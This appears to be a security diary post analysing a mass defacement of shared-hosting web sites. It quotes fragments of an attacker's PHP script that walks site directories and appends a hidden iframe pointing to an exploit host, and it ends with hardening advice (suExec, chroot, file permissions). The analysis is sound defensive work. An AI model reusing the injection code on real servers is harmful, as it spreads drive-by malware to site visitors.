Couple of weeks ago we mentioned a large MPack compromise (http://isc.sans.org/diary.html?storyid=2991). As you are probably aware, thousands of web sites (mainly in Italy) have been compromised and iframe tags added that pointed to other sites hosting exploits.

After checking were the compromised web sites were hosted, it became clear to us that we were dealing with a mass defacement when a single (or multiple) physical web servers were hosting thousands of web sites.

One of our readers sent us a PHP script he acquired from a compromised web server. The PHP script is pretty simple, and all it does is traverse through the file system and modify all files so that a malicious iframe tag is appended.

Two things were obvious here:

• The hosting web server did not have proper security on the file system level. This is, unfortunately, pretty common for (cheap?) hosting servers and is required when PHP is executed as a module in Apache. In this case, the main Apache process must be able to at least read all the files, but it appeared that it was able to write to them as well (wrong file permissions maybe?).
• The attackers had to find only one vulnerable PHP script on the server (note – the server might have been hosting thousands of different web sites).

Once attackers found a vulnerable PHP script they first detected the directory hierarchy on the web site. In case of the sample PHP script we received, it looked like this:

  for ($i = 3; $i < 500; $i++) {
      if ($i == 438) continue;
      flush_buffer('<b>/home/sites/site' . $i . '/web</b>:<br>');
      iframe_account(array('/home/sites/site' . $i . '/web'));
  }

From the code snippet above, you can see that all sites have their document root directory set as /home/sites/site[number]/web. The loop creates an array which is then passed to another function called iframe_account().

This function takes every director and performs a recursive search for 4 file types:

  $file_types = array('php', 'htm', 'html', 'tpl');

It then opens the files and searches for the “</body>” tag which is replaced with the malicious iframe and properly closed:

  $iframed_content = str_replace('</body>', '<iframe src=http://[REMOVED].info/counter style=display:none></iframe></body>', $content);

And voila – a mass compromise happened.

Conclusion

The main reason why this attack was possible was the fact that Apache’s process must be able to read all files (in order to serve/process them) and that the file system permissions were not correctly set. It remains questionable how many big hosting sites are affected with this (poor) setup.

As far as I know, the only proper way to do this is to run PHP as a CGI program and use chroot and/or suExec with Apache. Only with this you will make sure that one user’s web site can’t affect everyone else on the site. Of course, this has its price in performance which is why some hosting companies decide to sacrifice security instead of buying extra hardware. A nice document describing this setup can be found at http://www.seaoffire.net/fcgi-faq.html

PHP’s safe_mode, despite its name, doesn’t imply that you will have a secure environment. On the contrary, it is possible to work around the safe_mode requirements. This caused so many problems that the PHP developers decided to remove safe_mode from PHP version 6.

So, be sure to check if your hosting company uses chroot and/or suExec because that is the only way to make sure that your own web site will not be compromised by other users sharing the same physical server.